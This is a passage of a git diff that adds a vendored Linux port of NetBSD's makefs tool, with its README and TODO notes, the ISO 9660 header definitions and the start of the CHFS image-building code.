||||
#.include <bsd.prog.mk>
|
||||
# DO NOT DELETE
|
||||
135
thirdparty/makefs/README.orig
vendored
Normal file
135
thirdparty/makefs/README.orig
vendored
Normal file
@@ -0,0 +1,135 @@
|
||||
$NetBSD: README,v 1.7 2015/01/12 19:50:47 christos Exp $
|
||||
|
||||
makefs - build a file system image from a directory tree
|
||||
|
||||
NOTES:
|
||||
|
||||
* This tool uses modified local copies of source found in other
|
||||
parts of the tree. This is intentional.
|
||||
|
||||
* makefs is a work in progress, and subject to change.
|
||||
|
||||
|
||||
user overview:
|
||||
--------------
|
||||
|
||||
makefs creates a file system image from a given directory tree.
|
||||
the following file system types can be built:
|
||||
|
||||
cd9660 ISO 9660 file system
|
||||
chfs "Chip" file system, for flash devices
|
||||
ffs BSD fast file system
|
||||
msdos MS-DOS `FAT' file system (FAT12, FAT16, FAT32)
|
||||
udf Universal Disk Format file system
|
||||
v7fs 7th edition(V7) file system
|
||||
|
||||
Support for the following file systems maybe be added in the future
|
||||
|
||||
ext2fs Linux EXT2 file system
|
||||
|
||||
Various file system independent parameters and contraints can be
|
||||
specified, such as:
|
||||
|
||||
- minimum file system size (in KB)
|
||||
- maximum file system size (in KB)
|
||||
- free inodes
|
||||
- free blocks (in KB)
|
||||
- mtree(8) specification file containing permissions and ownership
|
||||
to use in image, overridding the settings in the directory tree
|
||||
- file containing list of files to specifically exclude or include
|
||||
- fnmatch(3) pattern of filenames to exclude or include
|
||||
- endianness of target file system
|
||||
|
||||
File system specific parameters can be given as well, with a command
|
||||
line option such as "-o fsspeccific-options,comma-separated".
|
||||
For example, ffs would allow tuning of:
|
||||
|
||||
- block & fragment size
|
||||
- cylinder groups
|
||||
- number of blocks per inode
|
||||
- minimum free space
|
||||
|
||||
Other file systems might have controls on how to "munge" file names to
|
||||
fit within the constraints of the target file system.
|
||||
|
||||
Exit codes:
|
||||
0 all ok
|
||||
1 fatal error
|
||||
2 some files couldn't be added during image creation
|
||||
(bad perms, missing file, etc). image will continue
|
||||
to be made
|
||||
|
||||
|
||||
Implementation overview:
|
||||
------------------------
|
||||
|
||||
The implementation must allow for easy addition of extra file systems
|
||||
with minimal changes to the file system independent sections.
|
||||
|
||||
The main program will:
|
||||
- parse the options, including calling fs-specific routines to
|
||||
validate fs-specific options
|
||||
- walk the tree, building up a data structure which represents
|
||||
the tree to stuff into the image. The structure will
|
||||
probably be a similar tree to what mtree(8) uses internally;
|
||||
a linked list of entries per directory with a child pointer
|
||||
to children of directories. ".." won't be stored in the list;
|
||||
the fs-specific tree walker should add this if required by the fs.
|
||||
this builder have the smarts to handle hard links correctly.
|
||||
- (optionally) Change the permissions in the tree according to
|
||||
the mtree(8) specfile
|
||||
- Call an fs-specific routine to build the image based on the
|
||||
data structures.
|
||||
|
||||
Each fs-specific module should have the following external interfaces:
|
||||
|
||||
prepare_options optional file system specific defaults that need to be
|
||||
setup before parsing fs-specific options.
|
||||
|
||||
parse_options parse the string for fs-specific options, feeding
|
||||
errors back to the user as appropriate
|
||||
|
||||
cleanup_options optional file system specific data that need to be
|
||||
cleaned up when done with this filesystem.
|
||||
|
||||
make_fs take the data structures representing the
|
||||
directory tree and fs parameters,
|
||||
validate that the parameters are valid
|
||||
(e.g, the requested image will be large enough),
|
||||
create the image, and
|
||||
populate the image
|
||||
|
||||
prepare_options and cleanup_options are optional and can be NULL.
|
||||
|
||||
NOTE: All file system specific options are referenced via the fs_specific
|
||||
pointer from the fsinfo_t strucutre. It is up to the filesystem to allocate
|
||||
and free any data needed for this via the prepare and cleanup callbacks.
|
||||
|
||||
Each fs-specific module will need to add its routines to the dispatch array
|
||||
in makefs.c and add prototypes for these to makefs.h
|
||||
|
||||
All other implementation details should not need to change any of the
|
||||
generic code.
|
||||
|
||||
ffs implementation
|
||||
------------------
|
||||
|
||||
In the ffs case, we can leverage off sbin/newfs/mkfs.c to actually build
|
||||
the image. When building and populating the image, the implementation
|
||||
can be greatly simplified if some assumptions are made:
|
||||
- the total required size (in blocks and inodes) is determined
|
||||
as part of the validation phase
|
||||
- a "file" (including a directory) has a known size, so
|
||||
support for growing a file is not necessary
|
||||
|
||||
Two underlying primitives are provided:
|
||||
make_inode create an inode, returning the inode number
|
||||
|
||||
write_file write file (from memory if DIR, file descriptor
|
||||
if FILE or SYMLINK), referencing given inode.
|
||||
it is smart enough to know if a short symlink
|
||||
can be stuffed into the inode, etc.
|
||||
|
||||
When creating a directory, the directory entries in the previously
|
||||
built tree data structure is scanned and built in memory so it can
|
||||
be written entirely as a single write_file() operation.
|
||||
7
thirdparty/makefs/README.txt
vendored
Normal file
7
thirdparty/makefs/README.txt
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
This is a Linux port of NetBSD makefs:
|
||||
https://github.com/Randrianasulu/makefs_termux
|
||||
https://github.com/NetBSD/src/tree/trunk/usr.sbin/makefs
|
||||
|
||||
As retrieved from BDJ-SDK:
|
||||
https://github.com/john-tornblom/bdj-sdk/tree/master/host/src
|
||||
https://github.com/john-tornblom/makefs_termux/tree/dc7e09b66b5900763299add245d6bb327882292e
|
||||
41
thirdparty/makefs/TODO
vendored
Normal file
41
thirdparty/makefs/TODO
vendored
Normal file
@@ -0,0 +1,41 @@
|
||||
$NetBSD: TODO,v 1.7 2007/12/10 23:54:35 dyoung Exp $
|
||||
|
||||
todo
|
||||
----
|
||||
|
||||
- read files from multiple directories with or without root
|
||||
specification, e.g., makefs -t cd9660 output.iso dir1 root2=dir2
|
||||
dir3 root4=dir4
|
||||
|
||||
- display block numbers for a given file (e.g, /boot)
|
||||
|
||||
- finish makefs.8
|
||||
|
||||
- testing
|
||||
|
||||
- even more testing
|
||||
|
||||
- add support for converting a tar file (instead of a directory tree);
|
||||
suggested by kpneal@pobox.com
|
||||
|
||||
|
||||
outstanding bugs
|
||||
----------------
|
||||
|
||||
- size estimation is still out (need to take into account indirect blocks!)
|
||||
|
||||
- parameter checking when density is rather high or low.
|
||||
|
||||
- filling up a file system (running out of inodes or whatever)
|
||||
doesn't do the right thing.
|
||||
|
||||
|
||||
discuss
|
||||
-------
|
||||
|
||||
- consider replacing ffs_balloc() et al with own code that doesn't
|
||||
need hacked-up buf.c code
|
||||
|
||||
- whacking on newfs/mkfs.c to allow .PATH-ing directly into makefs(8).
|
||||
this would involve passing all of mkfs()'s parameters in a single
|
||||
struct rather than a lot of global vars, etc.
|
||||
2149
thirdparty/makefs/cd9660.c
vendored
Normal file
2149
thirdparty/makefs/cd9660.c
vendored
Normal file
File diff suppressed because it is too large
Load Diff
357
thirdparty/makefs/cd9660.h
vendored
Normal file
357
thirdparty/makefs/cd9660.h
vendored
Normal file
@@ -0,0 +1,357 @@
|
||||
/* $NetBSD: cd9660.h,v 1.20 2013/01/29 15:52:25 christos Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 2005 Daniel Watt, Walter Deignan, Ryan Gabrys, Alan
|
||||
* Perez-Rathke and Ram Vedam. All rights reserved.
|
||||
*
|
||||
* This code was written by Daniel Watt, Walter Deignan, Ryan Gabrys,
|
||||
* Alan Perez-Rathke and Ram Vedam.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or
|
||||
* without modification, are permitted provided that the following
|
||||
* conditions are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above
|
||||
* copyright notice, this list of conditions and the following
|
||||
* disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY DANIEL WATT, WALTER DEIGNAN, RYAN
|
||||
* GABRYS, ALAN PEREZ-RATHKE AND RAM VEDAM ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
* DISCLAIMED. IN NO EVENT SHALL DANIEL WATT, WALTER DEIGNAN, RYAN
|
||||
* GABRYS, ALAN PEREZ-RATHKE AND RAM VEDAM BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
* USE,DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY
|
||||
* OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef _MAKEFS_CD9660_H
|
||||
#define _MAKEFS_CD9660_H
|
||||
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
||||
#endif
|
||||
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <limits.h>
|
||||
#include <sys/queue.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/endian.h>
|
||||
|
||||
#include "makefs.h"
|
||||
#include "iso.h"
|
||||
#include "iso_rrip.h"
|
||||
#include "cd9660/cd9660_eltorito.h"
|
||||
|
||||
#ifdef DEBUG
|
||||
#define INODE_WARNX(__x) warnx __x
|
||||
#else /* DEBUG */
|
||||
#define INODE_WARNX(__x)
|
||||
#endif /* DEBUG */
|
||||
|
||||
#define CD9660MAXPATH 4096
|
||||
|
||||
#define ISO_STRING_FILTER_NONE = 0x00
|
||||
#define ISO_STRING_FILTER_DCHARS = 0x01
|
||||
#define ISO_STRING_FILTER_ACHARS = 0x02
|
||||
|
||||
/*
|
||||
Extended preferences type, in the spirit of what makefs gives us (only ints)
|
||||
*/
|
||||
typedef struct {
|
||||
const char *shortName; /* Short option */
|
||||
const char *name; /* option name */
|
||||
char *value; /* where to stuff the value */
|
||||
int minLength; /* minimum for value */
|
||||
int maxLength; /* maximum for value */
|
||||
const char *desc; /* option description */
|
||||
int filterFlags;
|
||||
} string_option_t;
|
||||
|
||||
/******** STRUCTURES **********/
|
||||
|
||||
/*Defaults*/
|
||||
#define ISO_DEFAULT_VOLUMEID "MAKEFS_CD9660_IMAGE"
|
||||
#define ISO_DEFAULT_APPID "MAKEFS"
|
||||
#define ISO_DEFAULT_PUBLISHER "MAKEFS"
|
||||
#define ISO_DEFAULT_PREPARER "MAKEFS"
|
||||
|
||||
#define ISO_VOLUME_DESCRIPTOR_STANDARD_ID "CD001"
|
||||
#define ISO_VOLUME_DESCRIPTOR_BOOT 0
|
||||
#define ISO_VOLUME_DESCRIPTOR_PVD 1
|
||||
#define ISO_VOLUME_DESCRIPTOR_TERMINATOR 255
|
||||
|
||||
/*30 for name and extension, as well as version number and padding bit*/
|
||||
#define ISO_FILENAME_MAXLENGTH_BEFORE_VERSION 30
|
||||
#define ISO_FILENAME_MAXLENGTH 36
|
||||
#define ISO_FILENAME_MAXLENGTH_WITH_PADDING 37
|
||||
|
||||
#define ISO_FLAG_CLEAR 0x00
|
||||
#define ISO_FLAG_HIDDEN 0x01
|
||||
#define ISO_FLAG_DIRECTORY 0x02
|
||||
#define ISO_FLAG_ASSOCIATED 0x04
|
||||
#define ISO_FLAG_PERMISSIONS 0x08
|
||||
#define ISO_FLAG_RESERVED5 0x10
|
||||
#define ISO_FLAG_RESERVED6 0x20
|
||||
#define ISO_FLAG_FINAL_RECORD 0x40
|
||||
|
||||
#define ISO_PATHTABLE_ENTRY_BASESIZE 8
|
||||
|
||||
#define ISO_RRIP_DEFAULT_MOVE_DIR_NAME "RR_MOVED"
|
||||
#define RRIP_DEFAULT_MOVE_DIR_NAME ".rr_moved"
|
||||
|
||||
#define CD9660_BLOCKS(__sector_size, __bytes) \
|
||||
howmany((__bytes), (__sector_size))
|
||||
|
||||
#define CD9660_MEM_ALLOC_ERROR(_F) \
|
||||
err(EXIT_FAILURE, "%s, %s l. %d", _F, __FILE__, __LINE__)
|
||||
|
||||
#define CD9660_TYPE_FILE 0x01
|
||||
#define CD9660_TYPE_DIR 0x02
|
||||
#define CD9660_TYPE_DOT 0x04
|
||||
#define CD9660_TYPE_DOTDOT 0x08
|
||||
#define CD9660_TYPE_VIRTUAL 0x80
|
||||
|
||||
#define CD9660_INODE_HASH_SIZE 1024
|
||||
#define CD9660_SECTOR_SIZE 2048
|
||||
|
||||
#define CD9660_END_PADDING 150
|
||||
|
||||
/* Slight modification of the ISO structure in iso.h */
|
||||
typedef struct _iso_directory_record_cd9660 {
|
||||
u_char length [ISODCL (1, 1)]; /* 711 */
|
||||
u_char ext_attr_length [ISODCL (2, 2)]; /* 711 */
|
||||
u_char extent [ISODCL (3, 10)]; /* 733 */
|
||||
u_char size [ISODCL (11, 18)]; /* 733 */
|
||||
u_char date [ISODCL (19, 25)]; /* 7 by 711 */
|
||||
u_char flags [ISODCL (26, 26)];
|
||||
u_char file_unit_size [ISODCL (27, 27)]; /* 711 */
|
||||
u_char interleave [ISODCL (28, 28)]; /* 711 */
|
||||
u_char volume_sequence_number [ISODCL (29, 32)]; /* 723 */
|
||||
u_char name_len [ISODCL (33, 33)]; /* 711 */
|
||||
char name [ISO_FILENAME_MAXLENGTH_WITH_PADDING];
|
||||
} iso_directory_record_cd9660;
|
||||
|
||||
/* TODO: Lots of optimization of this structure */
|
||||
typedef struct _cd9660node {
|
||||
u_char type;/* Used internally */
|
||||
/* Tree structure */
|
||||
struct _cd9660node *parent; /* parent (NULL if root) */
|
||||
TAILQ_HEAD(cd9660_children_head, _cd9660node) cn_children;
|
||||
TAILQ_ENTRY(_cd9660node) cn_next_child;
|
||||
|
||||
struct _cd9660node *dot_record; /* For directories, used mainly in RRIP */
|
||||
struct _cd9660node *dot_dot_record;
|
||||
|
||||
fsnode *node; /* pointer to fsnode */
|
||||
struct _iso_directory_record_cd9660 *isoDirRecord;
|
||||
struct iso_extended_attributes *isoExtAttributes;
|
||||
|
||||
/***** SIZE CALCULATION *****/
|
||||
/*already stored in isoDirRecord, but this is an int version, and will be
|
||||
copied to isoDirRecord on writing*/
|
||||
uint32_t fileDataSector;
|
||||
|
||||
/*
|
||||
* same thing, though some notes:
|
||||
* If a file, this is the file size
|
||||
* If a directory, this is the size of all its children's
|
||||
* directory records
|
||||
* plus necessary padding
|
||||
*/
|
||||
int64_t fileDataLength;
|
||||
|
||||
int64_t fileSectorsUsed;
|
||||
int fileRecordSize;/*copy of a variable, int for quicker calculations*/
|
||||
|
||||
/* Old name, used for renaming - needs to be optimized but low priority */
|
||||
char o_name [ISO_FILENAME_MAXLENGTH_WITH_PADDING];
|
||||
|
||||
/***** SPACE RESERVED FOR EXTENSIONS *****/
|
||||
/* For memory efficiency's sake - we should move this to a separate struct
|
||||
and point to null if not needed */
|
||||
/* For Rock Ridge */
|
||||
struct _cd9660node *rr_real_parent, *rr_relocated;
|
||||
|
||||
int64_t susp_entry_size;
|
||||
int64_t susp_dot_entry_size;
|
||||
int64_t susp_dot_dot_entry_size;
|
||||
|
||||
/* Continuation area stuff */
|
||||
int64_t susp_entry_ce_start;
|
||||
int64_t susp_dot_ce_start;
|
||||
int64_t susp_dot_dot_ce_start;
|
||||
|
||||
int64_t susp_entry_ce_length;
|
||||
int64_t susp_dot_ce_length;
|
||||
int64_t susp_dot_dot_ce_length;
|
||||
|
||||
/* Data to put at the end of the System Use field */
|
||||
int64_t su_tail_size;
|
||||
char *su_tail_data;
|
||||
|
||||
/*** PATH TABLE STUFF ***/
|
||||
int level; /*depth*/
|
||||
int ptnumber;
|
||||
struct _cd9660node *ptnext, *ptprev, *ptlast;
|
||||
|
||||
/* SUSP entries */
|
||||
TAILQ_HEAD(susp_linked_list, ISO_SUSP_ATTRIBUTES) head;
|
||||
} cd9660node;
|
||||
|
||||
typedef struct _path_table_entry
|
||||
{
|
||||
u_char length[ISODCL (1, 1)];
|
||||
u_char extended_attribute_length[ISODCL (2, 2)];
|
||||
u_char first_sector[ISODCL (3, 6)];
|
||||
u_char parent_number[ISODCL (7, 8)];
|
||||
u_char name[ISO_FILENAME_MAXLENGTH_WITH_PADDING];
|
||||
} path_table_entry;
|
||||
|
||||
typedef struct _volume_descriptor
|
||||
{
|
||||
u_char *volumeDescriptorData; /*ALWAYS 2048 bytes long*/
|
||||
int64_t sector;
|
||||
struct _volume_descriptor *next;
|
||||
} volume_descriptor;
|
||||
|
||||
typedef struct _iso9660_disk {
|
||||
int sectorSize;
|
||||
struct iso_primary_descriptor primaryDescriptor;
|
||||
struct iso_supplementary_descriptor supplementaryDescriptor;
|
||||
|
||||
volume_descriptor *firstVolumeDescriptor;
|
||||
|
||||
cd9660node *rootNode;
|
||||
|
||||
/* Important sector numbers here */
|
||||
/* primaryDescriptor.type_l_path_table*/
|
||||
int64_t primaryBigEndianTableSector;
|
||||
|
||||
/* primaryDescriptor.type_m_path_table*/
|
||||
int64_t primaryLittleEndianTableSector;
|
||||
|
||||
/* primaryDescriptor.opt_type_l_path_table*/
|
||||
int64_t secondaryBigEndianTableSector;
|
||||
|
||||
/* primaryDescriptor.opt_type_m_path_table*/
|
||||
int64_t secondaryLittleEndianTableSector;
|
||||
|
||||
/* primaryDescriptor.path_table_size*/
|
||||
int pathTableLength;
|
||||
int64_t dataFirstSector;
|
||||
|
||||
int64_t totalSectors;
|
||||
/* OPTIONS GO HERE */
|
||||
int isoLevel;
|
||||
|
||||
int include_padding_areas;
|
||||
|
||||
int follow_sym_links;
|
||||
int verbose_level;
|
||||
int displayHelp;
|
||||
int keep_bad_images;
|
||||
|
||||
/* SUSP options and variables */
|
||||
int64_t susp_continuation_area_start_sector;
|
||||
int64_t susp_continuation_area_size;
|
||||
int64_t susp_continuation_area_current_free;
|
||||
|
||||
int rock_ridge_enabled;
|
||||
/* Other Rock Ridge Variables */
|
||||
char *rock_ridge_renamed_dir_name;
|
||||
int rock_ridge_move_count;
|
||||
cd9660node *rr_moved_dir;
|
||||
|
||||
int archimedes_enabled;
|
||||
int chrp_boot;
|
||||
|
||||
/* Spec breaking options */
|
||||
u_char allow_deep_trees;
|
||||
u_char allow_start_dot;
|
||||
u_char allow_max_name; /* Allow 37 char filenames*/
|
||||
u_char allow_illegal_chars; /* ~, !, # */
|
||||
u_char allow_lowercase;
|
||||
u_char allow_multidot;
|
||||
u_char omit_trailing_period;
|
||||
|
||||
/* BOOT INFORMATION HERE */
|
||||
int has_generic_bootimage; /* Default to 0 */
|
||||
char *generic_bootimage;
|
||||
|
||||
int is_bootable;/* Default to 0 */
|
||||
int64_t boot_catalog_sector;
|
||||
boot_volume_descriptor *boot_descriptor;
|
||||
char * boot_image_directory;
|
||||
|
||||
TAILQ_HEAD(boot_image_list,cd9660_boot_image) boot_images;
|
||||
int image_serialno;
|
||||
LIST_HEAD(boot_catalog_entries,boot_catalog_entry) boot_entries;
|
||||
|
||||
} iso9660_disk;
|
||||
|
||||
/************ FUNCTIONS **************/
|
||||
int cd9660_valid_a_chars(const char *);
|
||||
int cd9660_valid_d_chars(const char *);
|
||||
void cd9660_uppercase_characters(char *, int);
|
||||
|
||||
/* ISO Data Types */
|
||||
void cd9660_721(uint16_t, unsigned char *);
|
||||
void cd9660_731(uint32_t, unsigned char *);
|
||||
void cd9660_722(uint16_t, unsigned char *);
|
||||
void cd9660_732(uint32_t, unsigned char *);
|
||||
void cd9660_bothendian_dword(uint32_t dw, unsigned char *);
|
||||
void cd9660_bothendian_word(uint16_t dw, unsigned char *);
|
||||
void cd9660_set_date(char *, time_t);
|
||||
void cd9660_time_8426(unsigned char *, time_t);
|
||||
void cd9660_time_915(unsigned char *, time_t);
|
||||
|
||||
/*** Boot Functions ***/
|
||||
int cd9660_write_generic_bootimage(FILE *);
|
||||
int cd9660_write_boot(iso9660_disk *, FILE *);
|
||||
int cd9660_add_boot_disk(iso9660_disk *, const char *);
|
||||
int cd9660_eltorito_add_boot_option(iso9660_disk *, const char *,
|
||||
const char *);
|
||||
int cd9660_setup_boot(iso9660_disk *, int);
|
||||
int cd9660_setup_boot_volume_descriptor(iso9660_disk *,
|
||||
volume_descriptor *);
|
||||
|
||||
|
||||
/*** Write Functions ***/
|
||||
int cd9660_write_image(iso9660_disk *, const char *image);
|
||||
int cd9660_copy_file(iso9660_disk *, FILE *, off_t, const char *);
|
||||
|
||||
void cd9660_compute_full_filename(cd9660node *, char *);
|
||||
int cd9660_compute_record_size(iso9660_disk *, cd9660node *);
|
||||
|
||||
/* Debugging functions */
|
||||
void debug_print_tree(iso9660_disk *, cd9660node *,int);
|
||||
void debug_print_path_tree(cd9660node *);
|
||||
void debug_print_volume_descriptor_information(iso9660_disk *);
|
||||
void debug_dump_to_xml_ptentry(path_table_entry *,int, int);
|
||||
void debug_dump_to_xml_path_table(FILE *, off_t, int, int);
|
||||
void debug_dump_to_xml(FILE *);
|
||||
int debug_get_encoded_number(unsigned char *, int);
|
||||
void debug_dump_integer(const char *, char *,int);
|
||||
void debug_dump_string(const char *,unsigned char *,int);
|
||||
void debug_dump_directory_record_9_1(unsigned char *);
|
||||
void debug_dump_to_xml_volume_descriptor(unsigned char *,int);
|
||||
|
||||
void cd9660_pad_string_spaces(char *, int);
|
||||
|
||||
#endif
|
||||
222
thirdparty/makefs/chfs.c
vendored
Normal file
222
thirdparty/makefs/chfs.c
vendored
Normal file
@@ -0,0 +1,222 @@
|
||||
/*-
|
||||
* Copyright (c) 2012 Department of Software Engineering,
|
||||
* University of Szeged, Hungary
|
||||
* Copyright (c) 2012 Tamas Toth <ttoth@inf.u-szeged.hu>
|
||||
* All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to The NetBSD Foundation
|
||||
* by the Department of Software Engineering, University of Szeged, Hungary
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
|
||||
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if HAVE_NBTOOL_CONFIG_H
|
||||
#include "nbtool_config.h"
|
||||
#endif
|
||||
|
||||
#include <sys/param.h>
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <util.h>
|
||||
|
||||
#include "makefs.h"
|
||||
#include "chfs_makefs.h"
|
||||
|
||||
#include "chfs/chfs_mkfs.h"
|
||||
|
||||
static void chfs_validate(const char *, fsnode *, fsinfo_t *);
|
||||
static int chfs_create_image(const char *, fsinfo_t *);
|
||||
static int chfs_populate_dir(const char *, fsnode *, fsnode *, fsinfo_t *);
|
||||
|
||||
|
||||
void
|
||||
chfs_prep_opts(fsinfo_t *fsopts)
|
||||
{
|
||||
chfs_opt_t *chfs_opts = ecalloc(1, sizeof(*chfs_opts));
|
||||
|
||||
const option_t chfs_options[] = {
|
||||
{ 'p', "pagesize", &chfs_opts->pagesize, OPT_INT32,
|
||||
1, INT_MAX, "page size" },
|
||||
{ 'e', "eraseblock", &chfs_opts->eraseblock, OPT_INT32,
|
||||
1, INT_MAX, "eraseblock size" },
|
||||
{ 'm', "mediatype", &chfs_opts->mediatype, OPT_INT32,
|
||||
0, 1, "type of the media, 0 (nor) or 1 (nand)" },
|
||||
{ .name = NULL }
|
||||
};
|
||||
|
||||
chfs_opts->pagesize = -1;
|
||||
chfs_opts->eraseblock = -1;
|
||||
chfs_opts->mediatype = -1;
|
||||
|
||||
fsopts->size = 0;
|
||||
fsopts->fs_specific = chfs_opts;
|
||||
fsopts->fs_options = copy_opts(chfs_options);
|
||||
}
|
||||
|
||||
void
|
||||
chfs_cleanup_opts(fsinfo_t *fsopts)
|
||||
{
|
||||
free(fsopts->fs_specific);
|
||||
free(fsopts->fs_options);
|
||||
}
|
||||
|
||||
int
|
||||
chfs_parse_opts(const char *option, fsinfo_t *fsopts)
|
||||
{
|
||||
|
||||
assert(option != NULL);
|
||||
assert(fsopts != NULL);
|
||||
|
||||
return set_option(fsopts->fs_options, option, NULL, 0) != -1;
|
||||
}
|
||||
|
||||
void
|
||||
chfs_makefs(const char *image, const char *dir, fsnode *root, fsinfo_t *fsopts)
|
||||
{
|
||||
struct timeval start;
|
||||
|
||||
assert(image != NULL);
|
||||
assert(dir != NULL);
|
||||
assert(root != NULL);
|
||||
assert(fsopts != NULL);
|
||||
|
||||
TIMER_START(start);
|
||||
chfs_validate(dir, root, fsopts);
|
||||
TIMER_RESULTS(start, "chfs_validate");
|
||||
|
||||
printf("Creating `%s'\n", image);
|
||||
TIMER_START(start);
|
||||
if (chfs_create_image(image, fsopts) == -1) {
|
||||
errx(EXIT_FAILURE, "Image file `%s' not created", image);
|
||||
}
|
||||
TIMER_RESULTS(start, "chfs_create_image");
|
||||
|
||||
fsopts->curinode = CHFS_ROOTINO;
|
||||
root->inode->ino = CHFS_ROOTINO;
|
||||
|
||||
printf("Populating `%s'\n", image);
|
||||
TIMER_START(start);
|
||||
write_eb_header(fsopts);
|
||||
if (!chfs_populate_dir(dir, root, root, fsopts)) {
|
||||
errx(EXIT_FAILURE, "Image file `%s' not populated", image);
|
||||
}
|
||||
TIMER_RESULTS(start, "chfs_populate_dir");
|
||||
|
||||
padblock(fsopts);
|
||||
|
||||
if (close(fsopts->fd) == -1) {
|
||||
err(EXIT_FAILURE, "Closing `%s'", image);
|
||||
}
|
||||
fsopts->fd = -1;
|
||||
|
||||
printf("Image `%s' complete\n", image);
|
||||
}
|
||||
|
||||
static void
|
||||
chfs_validate(const char* dir, fsnode *root, fsinfo_t *fsopts)
|
||||
{
|
||||
chfs_opt_t *chfs_opts;
|
||||
assert(dir != NULL);
|
||||
assert(root != NULL);
|
||||
assert(fsopts != NULL);
|
||||
|
||||
chfs_opts = fsopts->fs_specific;
|
||||
|
||||
if (chfs_opts->pagesize == -1) {
|
||||
chfs_opts->pagesize = DEFAULT_PAGESIZE;
|
||||
}
|
||||
if (chfs_opts->eraseblock == -1) {
|
||||
chfs_opts->eraseblock = DEFAULT_ERASEBLOCK;
|
||||
}
|
||||
if (chfs_opts->mediatype == -1) {
|
||||
chfs_opts->mediatype = DEFAULT_MEDIATYPE;
|
||||
}
|
||||
}
|
||||
|
||||
static int
|
||||
chfs_create_image(const char *image, fsinfo_t *fsopts)
|
||||
{
|
||||
assert(image != NULL);
|
||||
assert(fsopts != NULL);
|
||||
|
||||
if ((fsopts->fd = open(image, O_RDWR | O_CREAT | O_TRUNC, 0666)) == -1) {
|
||||
warn("Can't open `%s' for writing", image);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return fsopts->fd;
|
||||
}
|
||||
|
||||
static int
|
||||
chfs_populate_dir(const char *dir, fsnode *root, fsnode *parent,
|
||||
fsinfo_t *fsopts)
|
||||
{
|
||||
fsnode *cur;
|
||||
char path[MAXPATHLEN + 1];
|
||||
|
||||
assert(dir != NULL);
|
||||
assert(root != NULL);
|
||||
assert(fsopts != NULL);
|
||||
|
||||
for (cur = root->next; cur != NULL; cur = cur->next) {
|
||||
if ((cur->inode->flags & FI_ALLOCATED) == 0) {
|
||||
cur->inode->flags |= FI_ALLOCATED;
|
||||
if (cur != root) {
|
||||
fsopts->curinode++;
|
||||
cur->inode->ino = fsopts->curinode;
|
||||
cur->parent = parent;
|
||||
}
|
||||
}
|
||||
|
||||
if (cur->inode->flags & FI_WRITTEN) {
|
||||
continue; // hard link
|
||||
}
|
||||
cur->inode->flags |= FI_WRITTEN;
|
||||
|
||||
write_vnode(fsopts, cur);
|
||||
write_dirent(fsopts, cur);
|
||||
if (!S_ISDIR(cur->type & S_IFMT)) {
|
||||
write_file(fsopts, cur, dir);
|
||||
}
|
||||
}
|
||||
|
||||
for (cur = root; cur != NULL; cur = cur->next) {
|
||||
if (cur->child == NULL) {
|
||||
continue;
|
||||
}
|
||||
if ((size_t)snprintf(path, sizeof(path), "%s/%s", dir,
|
||||
cur->name) >= sizeof(path)) {
|
||||
errx(EXIT_FAILURE, "Pathname too long");
|
||||
}
|
||||
